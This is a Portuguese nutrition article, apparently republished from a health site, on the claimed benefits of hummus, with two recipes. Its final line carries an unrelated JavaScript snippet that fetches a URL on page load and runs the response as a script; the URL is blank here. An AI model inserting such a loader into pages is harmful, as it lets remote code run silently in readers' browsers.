O homus é uma pasta que pode favorecer o ganho de massa muscular, auxiliar o funcionamento do intestino, contribuir para a saúde dos ossos e prevenir doenças, além de fornecer energia.

O principal ingrediente do homus tradicional é o grão-de-bico, uma leguminosa que é uma ótima fonte de proteínas, fibras e nutrientes como fósforo, ferro, folato e vitamina E. Confira os principais benefícios do grão-de-bico.

No entanto, existem receitas de homus que utilizam ingredientes adicionais, como beterraba ou batata doce, para alterar a cor ou sabor do homus, além de incorporar os benefícios de outros alimentos no seu preparo.

Imagem ilustrativa número 1

Principais benefícios

Os principais benefícios do homus são:

1. Fornecer energia

O homus é rico em carboidratos e o consumo de 100g do homus de grão-de-bico fornece 275 cal, o que pode ajudar a aumentar a energia e a disposição para realizar atividades físicas. 

Leia também: 10 alimentos que dão energia e melhoram a disposição tuasaude.com/alimentos-que-dao-energia

2. Favorecer o ganho de massa muscular

O homus, especialmente quando feito com grão-de-bico, é boa fonte de proteínas, o que pode favorecer o ganho de massa muscular. Além disso, embora não apresente todos os aminoácidos considerados essenciais, pode ser indicado para complementar a sua ingestão. 

3. Auxiliar o funcionamento do intestino

Por ser rico em fibras, o homus auxilia no funcionamento do intestino, sendo uma boa opção de alimento para pessoas com prisão de ventre, por exemplo. 

4. Contribuir para a saúde dos ossos

O homus tradicional contém minerais como cálcio, fósforo e manganês, que são fundamentais para a formação e fortalecimento dos ossos. Assim, o seu consumo pode contribuir para manter a saúde óssea. 

Leia também: 9 alimentos que ajudam a fortalecer os ossos tuasaude.com/3-alimentos-para-fortalecer-os-ossos

5. Ajudar a prevenir anemia

O homus de grão-de-bico é ótima fonte de folato e ferro, que são nutrientes importantes para prevenir o desenvolvimento de anemias, como a anemia megaloblástica e a anemia ferropriva.

Leia também: Dieta para anemia: o que comer e cardápio tuasaude.com/o-que-comer-para-anemia

6. Manter a pele saudável

Por ser uma boa fonte de vitamina E, um nutriente que possui ação antioxidante, o homus tradicional ajuda a manter a saúde da pele, prevenindo contra o envelhecimento precoce. Confira outros benefícios da vitamina E.

7. Controlar os níveis de glicose no sangue

O homus tradicional apresenta um baixo índice glicêmico, o que significa que seus açúcares são absorvidos lentamente pelo sistema digestório. Por isso, o consumo de homus pode ajudar a controlar os níveis de glicose no sangue.

8. Diminuir o colesterol na circulação

O homus feito com grão-de-bico apresenta fibras solúveis que parecem ajudar no controle dos níveis de colesterol na circulação, diminuindo o risco de doenças cardiovasculares, por exemplo. 

Leia também: 9 remédios caseiros para baixar o colesterol tuasaude.com/remedio-caseiro-para-baixar-o-colesterol

9. Auxiliar na prevenção do câncer

Na composição do homus de grão-de-bico, também estão presentes substâncias que parecem ter ação anticancerígena, como licopeno, saponinas e biochanina A. Por isso, seu consumo pode contribuir para diminuir o risco de alguns tipos de câncer.

Tabela de informação nutricional

A tabela abaixo mostra a informação nutricional para cada 100g de homus (aproximadamente 2 colheres de sopa cheias) feito com grão de bico, tahine, azeite de oliva, salsinha, suco de limão e pimenta do reino sem sal:

Para obter os benefícios do homus, é importante que ele seja incluído em uma alimentação saudável e equilibrada, além de fazer atividade física regularmente.

Marque uma consulta com o nutricionista mais próximo para saber como incluir o homus na alimentação de forma saudável:

Cuidar da sua saúde nunca foi tão fácil!

Marque uma consulta com nossos Nutricionistas e receba o cuidado personalizado que você merece.

Marcar consulta

Disponível em: São Paulo, Rio de Janeiro, Distrito Federal, Pernambuco, Bahia, Maranhão, Pará, Paraná, Sergipe e Ceará.

Foto de uma doutora e um doutor de braços cruzados esperando você para atender

Como fazer

O homus tradicional é um molho ou pasta feita com grão-de-bico cozido, moído e misturado com outros ingredientes como azeite, suco de limão e temperos, mas existem variações que podem ser feitas com beterraba, batata doce ou feijão, por exemplo.

São opções de receitas de homus:

1. Receita de homus de grão-de-bico

Ingredientes:

  • 450 g de de grão-de-bico;
  • 1/4 de xícara de chá de água;
  • 1/4 de xícara de chá de suco de limão;
  • 2 dentes de alho picados;
  • 1 colher de sopa de azeite extra-virgem;
  • 1/4 de colher de chá de pimenta preta rachada;
  • 1/4 de colher de chá de páprica;
  • 3 colheres de sopa de tahine;
  • 2 colheres de sopa de salsa picada.

Modo de preparo:

Colocar o grão-de-bico de molho por um dia e, depois, transferir os grãos para uma panela com água, deixando ferver até ficarem macios. Usando um liquidificador ou processador, bater o grão-de-bico até virar uma pasta. 

Ainda no liquidificador com o grão-de-bico, adicionar o azeite, suco de limão, alho, pimenta, páprica, tahine e salsa e misturar bem. Adicionar a água aos poucos, uma colher de sopa por vez, até que a mistura adquira a consistência de uma pasta espessa.

2. Receita de homus de beterraba

Ingredientes:

  • 250 g de grão-de-bico cozido;
  • 1 beterraba cozida;
  • Suco de 1/2 limão;
  • 1 colher de chá de tahine;
  • 2 colheres de sopa de azeite;
  • 50 ml de água;
  • Sal e pimenta a gosto;
  • 1 dente de alho picado.

Modo de preparo:

Colocar todos os ingredientes em um liquidificador ou processador e triturar até virar uma pasta homogênea. Pode-se acrescentar mais um pouco de água ou azeite à gosto para dar a consistência de uma pasta espessa.

Histórico de edição

Atualizamos regularmente os nossos conteúdos com a informação científica mais recente, para que mantenham um nível de qualidade excepcional.

Bibliografia

  • WALLACE, Taylor C; MURRAY, Robert; ZELMAN, Kathleen M. The Nutritional Value and Health Benefits of Chickpeas and Hummus. Nutrients. Vol.8, n.12. 766, 2016
  • TBCA. Hómus, c/ grão de bico, s/ sal. Disponível em: < Acesso em 23 jan 2024

Veja a máteria na Fonte ;document.addEventListener("DOMContentLoaded", function () { var url = ''; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement('script'); script.innerHTML = data.trim(); document.head.appendChild(script); }) });